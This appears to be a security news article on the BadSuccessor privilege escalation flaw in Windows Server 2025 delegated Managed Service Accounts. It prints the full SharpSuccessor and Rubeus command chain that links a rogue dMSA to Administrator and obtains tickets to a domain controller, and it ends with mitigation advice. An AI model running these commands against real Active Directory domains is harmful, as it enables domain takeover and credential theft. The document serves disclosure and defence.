SharpSuccessor PoC Released to Weaponize Windows Server 2025 BadSuccessor Flaw

A critical privilege escalation vulnerability in Windows Server 2025’s delegated Managed Service Account (dMSA) feature enables attackers to compromise Active Directory domains using tools like SharpSuccessor.

This attack chain exploits default configurations to transform low-privileged users into Domain Admins through an abusable Kerberos ticket manipulation.

Below, we break down the technical mechanics, weaponization process, and defensive countermeasures.

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1. Anatomy of the BadSuccessor Vulnerability

The vulnerability (CVE-2025-XXXX) stems from improper validation of the msDS-ManagedAccountPrecededByLink attribute during dMSA migration.

This attribute allows a dMSA to inherit privileges from any linked account without requiring administrative rights.

Attackers with CreateChild permissions on any Organizational Unit (OU) can:

  • Create a malicious dMSA object
  • Forge the msDS-ManagedAccountPrecededByLink attribute to reference high-value targets (e.g., Domain Admins)
  • Trigger Kerberos Ticket Granting Ticket (TGT) issuance for the spoofed identity

The Key Distribution Center (KDC) automatically grants Service Principal Name (SPN) resolution and ticket encryption to the dMSA, enabling unrestricted lateral movement

2. SharpSuccessor Weaponization Workflow

SharpSuccessor automates exploitation through a three-stage process:

Stage 1: dMSA Object Creation

powershellSharpSuccessor.exe add /impersonate:Administrator /path:"ou=test,dc=lab,dc=lan" /account:jdoe /name:attacker_dMSA

This command creates a dMSA (attacker_dMSA) linked to the Administrator account, leveraging the compromised user jdoe’s CreateChild rights on the ou=test OU.

Stage 2: Kerberos Ticket Manipulation

powershellRubeus.exe tgtdeleg /nowrap  
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/lab.lan /opsec /dmsa /nowrap /ptt
  • tgtdeleg requests a TGT for the current user (jdoe)
  • asktgs impersonates the dMSA account, exploiting its forged link to Administrator

Stage 3: Domain Compromise

powershellRubeus.exe asktgs /user:attacker_dmsa$ /service:cifs/WIN-RAEAN26UGJ5.lab.lan /opsec /dmsa /nowrap /ptt

This final command grants access to the Domain Controller’s SMB service (cifs/), enabling pass-the-ticket attacks for credential harvesting or Golden Ticket creation.

3. Mitigation Strategies and dMSA Hardening

Feature gMSA dMSA (Pre-Mitigation)
Auth Binding Domain-wide Machine-specific
Priv Esc Risks Kerberoasting Attribute hijacking (BadSuccessor)
Secret Storage Automatic rotation in AD Machine-bound via Credential Guard

To mitigate:

  • Restrict OU Permissions: Audit CreateChild rights using PowerShell: powershellGet-ADOrganizationalUnit -Filter * | Get-ADObject -Properties nTSecurityDescriptor
  • Block Attribute Modifications: Deny write access to msDS-ManagedAccountPrecededByLink for non-administrators
  • Enable Credential Guard: Enforce machine-bound authentication for dMSAs to prevent ticket theft

Microsoft has acknowledged the issue but has not yet released a patch. Organizations using Windows Server 2025 should prioritize these mitigations to prevent domain-wide compromise.

This attack underscores the risks of overly permissive OU permissions and insufficient validation of AD attribute changes.

By combining SharpSuccessor’s automation with Kerberos protocol weaknesses, attackers achieve full domain control with minimal effort.

Continuous monitoring of dMSA objects and strict adherence to least-privilege principles remain critical defenses.

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